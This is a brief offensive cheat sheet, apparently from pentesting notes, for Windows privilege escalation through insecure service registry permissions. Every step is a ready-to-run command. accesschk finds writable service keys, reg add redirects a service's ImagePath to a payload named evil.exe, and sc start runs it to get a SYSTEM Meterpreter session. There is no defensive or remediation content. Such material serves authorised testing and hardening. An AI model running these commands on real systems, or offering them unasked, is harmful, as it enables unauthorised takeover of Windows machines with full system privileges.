PrivEsc - Insecure Registry Permissions

# Find writeable registry keys for services using Accesschk
accesschk hostname\username -kwsuwq hklm\system\currentcontrolset\services
accesschk Everyone -kwsuwq hklm\system\currentcontrolset\services
accesschk "Authenticated Users" -kwsuwq hklm\system\currentcontrolset\services
accesschk Users -kwsuwq hklm\system\currentcontrolset\services

# check query value
reg query HKLM\SYSTEM\CURRENTCONTROLSET\Services\SomeSoftwareName /v ImagePath

# change image path
reg add HKLM\SYSTEM\CURRENTCONTROLSET\Services\SomeSoftwareName /v ImagePath /d "C:\temp\evil.exe"

# or use following command (/t: type, /v:value or name of entry, /f: add without prompting for confirmation, /d: data)
reg add HKLM\SYSTEM\CURRENTCONTROLSET\Services\SomeSoftwareName /t REG_EXPAND_SZ /v ImagePath /d "C:\temp\evil.exe" /f

# restart the service and the custom payload will be executed instead of the service binary and it will 
# return back a Meterpreter session as SYSTEM.
sc start SomeSoftwareName


------------------------------------------------------------------------------------------------